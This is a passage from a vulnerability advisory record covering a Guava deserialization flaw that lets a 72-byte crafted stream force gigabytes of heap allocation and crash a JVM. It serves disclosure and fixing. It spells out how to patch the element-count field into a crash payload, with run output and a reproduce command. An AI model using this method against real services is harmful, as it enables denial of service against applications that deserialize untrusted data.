All classes are top-level, `implements ... Serializable`, and require no special classpath setup beyond Guava being present (near-ubiquitous on JVM backends). A native Java deserialization attacker names the class directly in a hand-crafted stream — no particular Guava factory method needs to have been used by the victim application, exactly as with the precedent CVE.\n\n## PoC\n\nFull source and run instructions in the attached `poc-guava-compacthash-dos.zip` (Maven project, `guava:33.7.1-jre` — the current latest release — as the only dependency). The PoC:\n\n1. Uses reflection only to legitimately obtain a `CompactHashSet` instance (it is package-private; a real attacker does not need this step, since they craft the serialized bytes directly rather than calling Guava's own serialization code).\n2. Serializes one set with 1 element and one with 2 elements, diffs the two byte streams to locate the exact offset of the `elementCount` field (byte-precise, not guessed).\n3. Patches that one 4-byte field in the 1-element stream from `1` to `0x3FFFFFFF` (`CompactHashing.MAX_SIZE`), leaving the rest of the 72-byte stream (one real `\"A\"` element) untouched.\n4. Feeds the resulting 72-byte malicious stream into a plain `new ObjectInputStream(...).readObject()` call against the real, unmodified `guava-33.7.1-jre.jar`.\n\nActual run output:\n\n```\n### -Xmx8g (generous heap) ###\nLocated size field at offset 63, value=1 (expected 1)\nMalicious stream size: 72 bytes\nDeclared elementCount: 1073741823 (~1.07 billion)\nReal payload: 1 tiny string element (\"A\")\n=== RESULT ===\nException: java.lang.OutOfMemoryError: Java heap space\nTime to allocate+fail: 4013 ms\nHeap used before: 3 MB\nHeap used after (at failure point): 4103 MB\nJVM max heap (-Xmx): 8192 MB\n\n### -Xmx128m (ordinary service-sized heap) ###\nLocated size field at offset 63, value=1 (expected 1)\nMalicious stream size: 72 bytes\nDeclared elementCount: 1073741823 (~1.07 billion)\nReal payload: 1 tiny string element (\"A\")\n=== RESULT ===\nException: java.lang.OutOfMemoryError: Java heap space\nTime to allocate+fail: 24 ms\nHeap used before: 4 MB\nHeap used after (at failure point): 2 MB\nJVM max heap (-Xmx): 128 MB\n```\n\nA 72-byte input forces ~4.1 GB of real allocation before failing on an 8 GB heap, and crashes a 128 MB heap in 24 ms — over 50,000x amplification between input size and forced allocation.\n\nTo reproduce: `mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt && java -Xmx128m -cp \"target/classes:$(cat cp.txt)\" poc.Poc`\n\n## Impact\n\nUncontrolled resource consumption (CWE-770 / CWE-400) via native Java deserialization: any application that runs `ObjectInputStream.readObject()` on data reachable by an attacker, and has Guava on its classpath (true for a large fraction of the JVM ecosystem), can be crashed with a single ~72-byte payload, regardless of what type the application itself expected to deserialize.\n\n## Severity\n\nCVSS 3.1: `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` — identical vector to CVE-2018-10237, the precedent this is a sibling of. Recomputed with the full formula: exploitability = 8.22×0.85×0.44×0.85×0.85 = 2.221; ISS = 1-(1×1×0.44) = 0.56; impact = 6.42×0.56 = 3.595; base = roundup(5.816) = **5.9 (Medium)**.\n\n## Affected\n\n`com.google.guava:guava`, all editions (`-jre`/`-android`) — confirmed on the current latest release, 33.7.1-jre. `CompactHashMap`/`CompactHashSet`/`CompactLinkedHashMap`/`CompactLinkedHashSet` have had this same `readObject`/`allocArrays` shape for a long time (probably since they were added in Guava 23.6), and similarly for `MapMakerInternalMap` (which was introduced in Guava 4.0); not tested against older individual releases.\n\n## Suggested fix\n\nApply the same defense already used elsewhere in this codebase: either clamp the initial `init()` capacity to a small constant regardless of the declared `elementCount` (as `HashBiMap.readObject()` already does — `init(16); // resist hostile attempts to allocate gratuitous heap`) and grow incrementally as elements are actually read, or grow the backing arrays incrementally per iteration of the deserialization loop (as the fixed `AtomicDoubleArray.readObject()` does via `ImmutableLongArray.Builder`) instead of eagerly sizing to the full attacker-declared count on first insert.", "aliases": [ "CVE-2026-102554" ], "modified": "2026-10-27T14:45:04.803511466Z", "published": "2026-10-27T14:27:53Z", "database_specific": { "cwe_ids": [ "CWE-400", "CWE-502", "CWE-770" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-10-27T14:27:53Z", "nvd_published_at": "2026-10-09T16:17:20Z" }, "references": [ { "type": "WEB", "url": "https://github.com/google/guava/security/advisories/GHSA-xxph-c9ww-hj94" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102554" }, { "type": "WEB", "url": "https://github.com/google/guava/commit/b931fe9d6d5cf00bc55714ad3308d086f71850fe" }, { "type": "PACKAGE", "url": "https://github.com/google/guava" }, { "type": "WEB", "url": "https://github.com/google/guava/releases/tag/v33.7.2" } ], "affected": [ { "package": { "name": "com.google.guava:guava", "ecosystem": "Maven", "purl": "pkg:maven/com.google.guava/guava" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0" }, { "fixed": "33.7.2" } ] } ], "versions": [ "10.0", "10.0-rc1", "10.0-rc2", "10.0-rc3", "10.0.1", "11.0", "11.0-rc1", "11.0.1", "11.0.2", "12.0", "12.0-rc1", "12.0-rc2", "12.0.1", "13.0", "13.0-rc1", "13.0-rc2", "13.0.1", "14.0", "14.0-rc1", "14.0-rc2", "14.0-rc3", "14.0.1", "15.0", "15.0-rc1", "16.0", "16.0-rc1", "16.0.1", "17.0", "17.0-rc1", "17.0-rc2", "18.0", "18.0-rc1", "18.0-rc2", "19.0", "19.0-rc1", "19.0-rc2", "19.0-rc3", "20.0", "20.0-rc1", "21.0", "21.0-rc1", "21.0-rc2", "22.0", "22.0-android", "22.0-rc1", "22.0-rc1-android", "23.0", "23.0-android", "23.0-rc1", "23.0-rc1-android", "23.1-android", "23.1-jre", "23.2-android", "23.2-jre", "23.3-android", "23.3-jre", "23.4-android", "23.4-jre", "23.5-android", "23.5-jre", "23.6-android", "23.6-jre", "23.6.1-android", "23.6.1-jre", "24.0-android", "24.0-jre", "24.1-android", "24.1-jre", "24.1.1-android", "24.1.1-jre", "25.0-android", "25.0-jre", "25.1-android", "25.1-jre", "26.0-android", "26.0-jre", "27.0-android", "27.0-jre", "27.0.1-android", "27.0.1-jre", "27.1-android", "27.1-jre", "28.0-android", "28.0-jre", "28.1-android", "28.1-jre", "28.2-android", "28.2-jre", "29.0-android", "29.0-jre", "30.0-android", "30.0-jre", "30.1-android", "30.1-jre", "30.1.1-android", "30.1.1-jre", "31.0-android", "31.0-jre", "31.0.1-android", "31.0.1-jre", "31.1-android", "31.1-jre", "32.0.0-android", "32.0.0-jre", "32.0.1-android", "32.0.1-jre", "32.1.0-android", "32.1.0-jre", "32.1.1-android", "32.1.1-jre", "32.1.2-android", "32.1.2-jre", "32.1.3-android", "32.1.3-jre", "33.0.0-android", "33.0.0-jre", "33.1.0-android", "33.1.0-jre", "33.2.0-android", "33.2.0-jre", "33.2.1-android", "33.2.1-jre", "33.3.0-android", "33.3.0-jre", "33.3.1-android", "33.3.1-jre", "33.4.0-android", "33.4.0-jre", "33.4.1-android", "33.4.1-jre", "33.4.2-android", "33.4.2-jre", "33.4.3-android", "33.4.3-jre", "33.4.4-android", "33.4.4-jre", "33.4.5-android", "33.4.5-jre", "33.4.6-android", "33.4.6-jre", "33.4.7-android", "33.4.7-jre", "33.4.8-android", "33.4.8-jre", "33.5.0-android", "33.5.0-jre", "33.6.0-android", "33.6.0-jre", "33.7.0-android", "33.7.0-jre", "33.7.1-android", "33.7.1-jre" ], "database_specific": { "last_known_affected_version_range": "<= 33.7.1", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xxph-c9ww-hj94/GHSA-xxph-c9ww-hj94.json" } } ], "schema_version": "1.9.2", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" } ] } ]